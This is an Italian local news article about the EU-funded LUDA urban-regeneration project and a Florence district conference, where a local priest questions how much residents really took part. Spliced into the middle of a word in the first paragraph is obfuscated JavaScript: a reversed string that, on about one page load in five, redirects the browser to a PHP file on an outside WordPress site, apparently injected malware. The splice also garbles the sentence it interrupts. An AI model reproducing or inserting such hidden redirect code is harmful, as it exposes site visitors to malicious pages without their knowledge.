Attori o comparse?

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LUDA (Large Urban Distressed Areas, gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi aree urbane degradate) è il nome di un progetto di ricerca finanziato dall’Unione Europea che prevede il coinvolgimento di sei città partner (Bratislava, Dresda, Edimburgo, Firenze, Lisbona e Valencia) e di ben dieci istituti di ricerca. Obiettivo del progetto è l’individuazione di strategie di riabilitazione rivolte a vaste aree “bisognose” come, per esempio, a Firenze, quella della periferia del nostro quartiere.
Proprio a Peretola si è svolto giorni fa il convegno “Obiettivi di riqualificazione dell’area Peretola ­ Petriolo ­ Brozzi ­ Quaracchi ­ Le Piagge”, promosso dal Quartiere 5, in collaborazione con l’Assessorato all’Urbanistica, l’Università degli Studi di Firenze (Dipartimento di Tecnologie dell’Architettura e Design) e con il gruppo di lavoro composto dai cosiddetti “attori sociali”. La sala era piena ma il pubblico era sempre lo stesso: politici, tecnici, ricercatori, rappresentanti di associazioni presenti sul territorio. Gli abitanti, la gente comune, non c’era. Un signore del pubblico è intervenuto e ha chiesto ai presenti: “Quanti tra voi non appartengono a nessuna delle associazioni coinvolte nei vari gruppi di lavoro del progetto LUDA?” Ben poche le mani che si sono alzate. E allora, dove sono quelli che i disagi e i problemi li vivono ogni giorno sulla propria pelle quando si parla del loro territorio e delle problematiche che li riguardano quotidianamente?
LUDA è sicuramente un progetto interessante. Per la prima volta, infatti, si mettono in relazione più realtà urbane disagiate a livello europeo e, all’interno di queste, si fa parlare la politica con l’Università e la collettività. L’esistenza di questo progetto è anche un riconoscimento a livello europeo, oltre che locale, di forti criticità presenti su quest’area. Un punto di inizio, come ha detto Claudio Fantoni, consigliere del Quartiere 5, che segnala che le cose adesso “bisogna farle sul serio”. Ma chi sono quelli che realmente hanno partecipato ai lavori di ricerca?
È quello che si chiede anche Don Alessandro Santoro della Comunità di Base delle Piagge che, pur riconoscendo degli elementi positivi, pone due grosse perplessità. “Credo che questo progetto vada ad investire energie in un’area che ha davvero bisogno di attenzioni; queste però non possono tradursi solamente in un dare delle cose ma devono portare a costruire una reale cultura di partecipazione. Una grandissima occasione ma, secondo la mia opinione, in quest’anno e più passato dall’inizio del progetto, non c’è stata una vera, reale e profonda partecipazione. Il gruppo di lavoro che ha partecipato al progetto non è nato attraverso quelle forme che noi auspichiamo per una realtà di questo tipo. Quella modalità ha portato solo ad una rappresentanza di alcune realtà presenti sul territorio. Si sono tracciate delle linee senza riuscire ad intercettare davvero le istanze, i bisogni, le profonde esigenze degli abitanti. A chi è arrivata la possibilità di partecipare ad un’esperienza del genere?”
C’è poi la questione del Piano dell’architetto De Carlo chiamato dal Comune di Firenze a realizzare un progetto di riqualificazione complessivo sull’area delle Piagge; nel frattempo, LUDA ha perseguito gli stessi obiettivi. “Quanto dell’uno e dell’altro verrà assunto? Quale ha più valore, l’uno, l’altro o l’integrazione dei due?” Si rischia, nel migliore dei casi, di fare confusione. E allora, a che pro sono stati spesi questi soldi e cosa succederà dopo la fine del progetto? Conclude Santoro: “Il progetto De Carlo aveva almeno cercato di investire meglio sulla possibilità di costruire un percorso di partecipazione. Facciamo in modo che tutto questo sia espressione davvero di questa realtà e non soltanto di dieci persone, che esprimono probabilmente solo se stessi”.

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